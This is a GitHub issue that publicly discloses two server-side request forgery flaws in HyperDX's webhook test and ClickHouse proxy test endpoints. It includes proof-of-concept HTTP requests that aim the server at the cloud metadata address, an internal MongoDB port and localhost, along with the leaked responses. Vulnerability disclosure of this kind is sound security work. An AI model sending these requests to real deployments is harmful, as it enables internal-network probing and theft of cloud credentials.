Skip to content

Server-Side Request Forgery in webhook test and ClickHouse connection test endpoints #2588

Description

@geo-chen

reported 1 June 2026 - https://github.com/hyperdxio/hyperdx/security/advisories/GHSA-fgcx-qxjr-wx26 - no response.

Summary

Two authenticated endpoints make server-side HTTP requests to URLs supplied entirely by the caller, with no URL allowlist or internal-network block. Any team member can probe or interact with services on the internal network (including Docker containers, cloud metadata endpoints, and other internal APIs) by setting the target URL to an internal address. The ClickHouse proxy test endpoint additionally reflects the HTTP response body from the internal target back to the caller in error messages, enabling blind-to-reflected SSRF.

Details

Finding A -- Webhook test endpoint (packages/api/src/routers/api/webhooks.ts, line 365-455)

POST /webhooks/test creates a temporary webhook object and calls handleSendGenericWebhook or handleSendSlackWebhook. The handleSendGenericWebhook function at packages/api/src/tasks/checkAlerts/template.ts (line 282-360) calls fetch(url, ...) with the caller-supplied URL.

The only protection is a hostname blacklist (blacklistedWebhookHosts) that blocks the configured CLICKHOUSE_HOST and MONGO_URI hostnames (line 203-212). This does not block:

  • IP addresses of those services
  • Other internal services (metadata endpoints, other containers, localhost)
  • Cloud provider metadata endpoints (169.254.169.254, fd00:ec2::254)

Slack webhooks are validated against a hostname suffix check (.slack.com). Generic and IncidentIO webhooks pass through with only the blacklist check.

Finding B -- ClickHouse proxy test endpoint (packages/api/src/routers/api/clickhouseProxy.ts, line 75-122)

POST /clickhouse-proxy/test accepts host, username, and password and calls:

const result = await fetch(`${host}/?query=SELECT 1`, {
  headers: {
    'X-ClickHouse-User': username || '',
    'X-ClickHouse-Key': password || '',
  },
  signal: AbortSignal.timeout(2000),
});

No URL validation is performed. The host can be any URL. When the response is not valid JSON, the server returns an error that includes the first ~100 characters of the response body:

"Unexpected token 'X', \"<response body prefix>\"... is not valid JSON"

This turns a blind SSRF into a reflected SSRF that leaks internal service response content.

PoC

Prerequisites: a valid HyperDX session cookie (any team member).

Finding A -- Webhook SSRF:

Set up a listener, then send:

POST /webhooks/test HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<session>
Content-Type: application/json

{
  "service": "generic",
  "url": "http://169.254.169.254/latest/meta-data/",
  "body": "{\"alert\": \"{{title}}\"}"
}

Response:

{"message":"Test webhook sent successfully"}

The server made a POST request to the supplied URL. Use incidentio service for the same effect. For internal Docker services, the server's container IP (e.g. 172.19.0.5) is the origin of the request.

Finding B -- ClickHouse proxy SSRF with response body leak:

POST /clickhouse-proxy/test HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<session>
Content-Type: application/json

{"host": "http://db:27017", "username": "user"}

Response (error leaks MongoDB banner):

{"success":false,"error":"Unexpected token 'I', \"It looks l\"... is not valid JSON, please check the host and credentials and try again."}

The prefix "It looks l" is the start of MongoDB's HTTP error banner ("It looks like you are trying to access MongoDB over HTTP...").

Self-SSRF to probe the API itself:

POST /clickhouse-proxy/test HTTP/1.1
Content-Type: application/json
Cookie: connect.sid=<session>

{"host": "http://127.0.0.1:9425"}

Response leaks internal Express error HTML:

{"success":false,"error":"<!DOCTYPE html>...<pre>Cannot GET /</pre>..."}

Impact

An authenticated team member can enumerate and probe internal network services (other containers, sidecar services, cloud provider metadata endpoints) using these two endpoints. The ClickHouse proxy endpoint additionally leaks partial HTTP response bodies, enabling an attacker to extract meaningful information from internal services that return non-JSON responses. On cloud deployments, the AWS/GCP/Azure instance metadata endpoint (169.254.169.254) is reachable and can expose IAM role credentials, SSH keys, and bootstrap secrets.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions